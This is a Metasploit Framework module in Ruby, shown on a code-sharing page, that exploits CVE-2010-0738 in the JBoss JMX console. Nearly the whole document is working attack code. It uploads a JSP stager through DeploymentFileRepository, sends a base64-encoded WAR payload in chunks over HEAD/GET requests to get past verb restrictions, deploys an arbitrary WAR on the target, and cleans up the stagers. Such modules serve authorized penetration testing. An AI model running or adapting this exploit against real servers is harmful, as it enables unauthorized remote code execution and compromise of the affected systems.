CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HTTP::JBoss
8
9
def initialize
10
super(
11
'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',
12
'Description' => %q{
13
This module uses the DeploymentFileRepository class in the JBoss Application Server
14
to deploy a JSP file which then deploys an arbitrary WAR file.
15
},
16
'Author' => [
17
'us3r777 <us3r777[at]n0b0.so>'
18
],
19
'References' => [
20
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
21
[ 'OSVDB', '64171' ],
22
[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],
23
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
24
],
25
'Actions' => [
26
['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],
27
['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]
28
],
29
'DefaultAction' => 'Deploy',
30
'License' => BSD_LICENSE,
31
)
32
33
register_options(
34
[
35
Opt::RPORT(8080),
36
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
37
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
38
]
39
)
40
end
41
42
def deploy_action(app_base, war_data)
43
stager_base = Rex::Text.rand_text_alpha(rand(8..15))
44
stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
45
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
46
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
47
48
if http_verb == 'POST'
49
print_status('Deploying stager for the WAR file...')
50
res = upload_file(stager_base, stager_jsp_name, stager_contents)
51
else
52
print_status('Deploying minimal stager to upload the payload...')
53
head_stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))
54
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
55
head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp'
56
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
57
58
# We split the stager_jsp_code in multiple junks and transfer on the
59
# target with multiple requests
60
current_pos = 0
61
while current_pos < stager_contents.length
62
next_pos = current_pos + 5000 + rand(100)
63
vars_get = { 'arg0' => stager_contents[current_pos, next_pos] }
64
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
65
res = deploy('uri' => head_stager_uri,
66
'vars_get' => vars_get)
67
current_pos += next_pos
68
end
69
end
70
71
# Using HEAD may trigger a 500 Internal Server Error (at least on 4.2.3.GA),
72
# but the file still gets written.
73
unless res && (res.code == 200 || res.code == 500)
74
fail_with(Failure::Unknown, 'Failed to deploy')
75
end
76
77
print_status('Calling stager to deploy the payload warfile (might take some time)')
78
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
79
stager_res = deploy('uri' => stager_uri,
80
'method' => 'GET')
81
82
if res && res.code == 200
83
print_good('Payload deployed')
84
else
85
print_error('Failed to deploy final payload')
86
end
87
88
# Cleaning stagers
89
print_status('Undeploying stagers via DeploymentFileRepository.remove()...')
90
print_status('This might take some time, be patient...') if http_verb == 'HEAD'
91
delete_res = []
92
if head_stager_jsp_name
93
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
94
end
95
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
96
delete_res << delete_file('./', stager_base + '.war', '')
97
delete_res.each do |res|
98
if !res
99
print_warning('Unable to remove WAR [No Response]')
100
elsif (res.code < 200 || res.code >= 300)
101
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
102
end
103
end
104
end
105
106
# Undeploy the WAR and the stager if needed
107
def undeploy_action(app_base)
108
print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")
109
print_status('This might take some time, be patient...') if http_verb == 'HEAD'
110
res = delete_file('./', app_base + '.war', '')
111
112
unless res
113
print_error('Unable to remove WAR (no response)')
114
return
115
end
116
117
if res.code < 200 || res.code >= 300
118
print_error("Unable to remove WAR [#{res.code} #{res.message}]")
119
else
120
print_good('Successfully removed')
121
end
122
end
123
124
def run
125
app_base = datastore['APPBASE']
126
127
case action.name
128
when 'Deploy'
129
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
130
fail_with(Failure::BadConfig, 'Unable to open WARFILE')
131
end
132
war_data = File.read(datastore['WARFILE'], mode: 'rb')
133
deploy_action(app_base, war_data)
134
when 'Undeploy'
135
undeploy_action(app_base)
136
end
137
end
138
end
139
140